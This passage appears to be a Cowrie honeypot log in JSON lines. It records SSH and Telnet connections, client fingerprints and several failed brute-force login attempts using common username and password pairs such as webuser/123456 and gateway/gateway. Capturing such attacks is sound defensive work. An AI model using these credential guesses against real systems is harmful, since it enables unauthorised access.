{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.781246Z","src_ip":"176.65.132.254","session":"cfcd88861e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:18.863824Z","src_ip":"176.65.132.254","session":"cfcd88861e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"54321","message":"login attempt [deploy/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:19.032316Z","src_ip":"103.189.235.176","session":"4a84bfc32db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:19.143553Z","src_ip":"176.65.132.254","session":"cfcd88861e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53392,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a6a49d756e","protocol":"telnet","message":"New connection: 62.210.97.77:53392 (10.17.0.5:23) [session: 04a6a49d756e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:19.448825Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47112,"dst_ip":"10.17.0.5","dst_port":23,"session":"439fa0538812","protocol":"telnet","message":"New connection: 65.60.27.33:47112 (10.17.0.5:23) [session: 439fa0538812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:19.687703Z"}
{"eventid":"cowrie.session.closed","duration":35.53388738632202,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.081753Z","src_ip":"62.210.97.77","session":"0503ef68cd05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.511099815368652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.191036Z","src_ip":"136.144.139.78","session":"a884b5a1c5d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.276841Z","src_ip":"103.189.235.176","session":"4a84bfc32db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.539157Z","src_ip":"176.65.132.254","session":"cfcd88861e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53402,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3a36c239c1","protocol":"telnet","message":"New connection: 62.210.97.77:53402 (10.17.0.5:23) [session: fd3a36c239c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.696179Z"}
{"eventid":"cowrie.session.closed","duration":31.634541749954224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:20.999136Z","src_ip":"62.210.97.77","session":"8eae04b149b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.210697412490845,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:21.275206Z","src_ip":"62.210.97.77","session":"b58bd8a2ccc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53404,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee8f3e0b58b","protocol":"telnet","message":"New connection: 62.210.97.77:53404 (10.17.0.5:23) [session: fee8f3e0b58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:21.925683Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed073c82d665","protocol":"telnet","message":"New connection: 62.210.97.77:53414 (10.17.0.5:23) [session: ed073c82d665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:22.371010Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41308,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b3d8012b92","protocol":"ssh","message":"New connection: 176.65.132.254:41308 (10.17.0.5:22) [session: 14b3d8012b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:22.936716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.066012Z","src_ip":"176.65.132.254","session":"14b3d8012b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.069675Z","src_ip":"176.65.132.254","session":"14b3d8012b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53416,"dst_ip":"10.17.0.5","dst_port":23,"session":"063b8b323641","protocol":"telnet","message":"New connection: 62.210.97.77:53416 (10.17.0.5:23) [session: 063b8b323641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.206748Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51072,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa18b063029","protocol":"telnet","message":"New connection: 65.60.27.33:51072 (10.17.0.5:23) [session: bfa18b063029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.210503Z"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.422917Z","src_ip":"176.65.132.254","session":"14b3d8012b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"84dcbbc6d223","protocol":"telnet","message":"New connection: 62.210.97.77:53420 (10.17.0.5:23) [session: 84dcbbc6d223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.498419Z"}
{"eventid":"cowrie.session.closed","duration":36.15039372444153,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:23.675145Z","src_ip":"62.210.97.77","session":"e0df4363f65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":43826,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95a1edc684e","protocol":"telnet","message":"New connection: 136.144.139.78:43826 (159.203.135.109:23) [session: f95a1edc684e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:24.205377Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:24.507880Z","src_ip":"176.65.132.254","session":"14b3d8012b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.236106395721436,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:24.551517Z","src_ip":"62.210.97.77","session":"04cda9093d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82413935661316,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:25.117400Z","src_ip":"62.210.97.77","session":"83c1942b1cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71583104133606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:25.916518Z","src_ip":"62.210.97.77","session":"62078f6ebc0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68278479576111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:26.014742Z","src_ip":"62.210.97.77","session":"63e0d0aa0911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.896639823913574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.209544Z","src_ip":"65.60.27.33","session":"f6eaefa8456f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.97760844230652,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.523320Z","src_ip":"65.60.27.33","session":"82e661f4711e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41324,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5d7c2d51ea","protocol":"ssh","message":"New connection: 176.65.132.254:41324 (10.17.0.5:22) [session: ee5d7c2d51ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.572755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.577507Z","src_ip":"176.65.132.254","session":"ee5d7c2d51ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.466410875320435,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.595587Z","src_ip":"62.210.97.77","session":"2d14071f1a35","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.659868Z","src_ip":"176.65.132.254","session":"ee5d7c2d51ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:27.943735Z","src_ip":"176.65.132.254","session":"ee5d7c2d51ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.62223815917969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:28.229335Z","src_ip":"62.210.97.77","session":"6e32215f6b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73818802833557,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:28.401549Z","src_ip":"62.210.97.77","session":"98fdf9a3243e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60728,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af4407d2412","protocol":"telnet","message":"New connection: 38.54.119.93:60728 (10.17.0.5:23) [session: 0af4407d2412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:28.410212Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:29.180011Z","src_ip":"176.65.132.254","session":"ee5d7c2d51ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44384,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c1a9e9dcc5","protocol":"telnet","message":"New connection: 62.210.97.77:44384 (10.17.0.5:23) [session: 01c1a9e9dcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:29.895420Z"}
{"eventid":"cowrie.session.closed","duration":36.168638944625854,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:30.006176Z","src_ip":"62.210.97.77","session":"a20b209ad6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44396,"dst_ip":"10.17.0.5","dst_port":23,"session":"4464df9a82c9","protocol":"telnet","message":"New connection: 62.210.97.77:44396 (10.17.0.5:23) [session: 4464df9a82c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:31.225883Z"}
{"eventid":"cowrie.session.closed","duration":34.78690552711487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:31.571551Z","src_ip":"62.210.97.77","session":"f538653f6a93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.807090759277344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:31.725100Z","src_ip":"62.210.97.77","session":"444809631d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41328,"dst_ip":"10.17.0.5","dst_port":22,"session":"36bda5b4ac80","protocol":"ssh","message":"New connection: 176.65.132.254:41328 (10.17.0.5:22) [session: 36bda5b4ac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:31.922290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:31.926992Z","src_ip":"176.65.132.254","session":"36bda5b4ac80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:32.010808Z","src_ip":"176.65.132.254","session":"36bda5b4ac80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:32.260355Z","src_ip":"176.65.132.254","session":"36bda5b4ac80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49f435b58aa","protocol":"telnet","message":"New connection: 62.210.97.77:44412 (10.17.0.5:23) [session: d49f435b58aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:32.392246Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34696,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b24048a6e8","protocol":"telnet","message":"New connection: 65.60.27.33:34696 (10.17.0.5:23) [session: 86b24048a6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:33.277476Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:33.349638Z","src_ip":"176.65.132.254","session":"36bda5b4ac80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.189472436904907,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:33.599600Z","src_ip":"38.54.119.93","session":"0af4407d2412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52170,"dst_ip":"159.203.135.109","dst_port":23,"session":"4455b8b457d8","protocol":"telnet","message":"New connection: 134.209.8.29:52170 (159.203.135.109:23) [session: 4455b8b457d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:33.998982Z"}
{"eventid":"cowrie.session.closed","duration":39.464115858078,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:34.513996Z","src_ip":"65.60.27.33","session":"afdb8a582fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2bd8549c6c","protocol":"telnet","message":"New connection: 65.60.27.33:36320 (10.17.0.5:23) [session: 8b2bd8549c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:34.787389Z"}
{"eventid":"cowrie.session.closed","duration":37.876535177230835,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:35.535465Z","src_ip":"62.210.97.77","session":"8bd8b0ba0be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46872,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe413d02b3a","protocol":"ssh","message":"New connection: 176.65.132.254:46872 (10.17.0.5:22) [session: 9fe413d02b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.170543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:36.355283Z","src_ip":"176.65.132.254","session":"9fe413d02b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 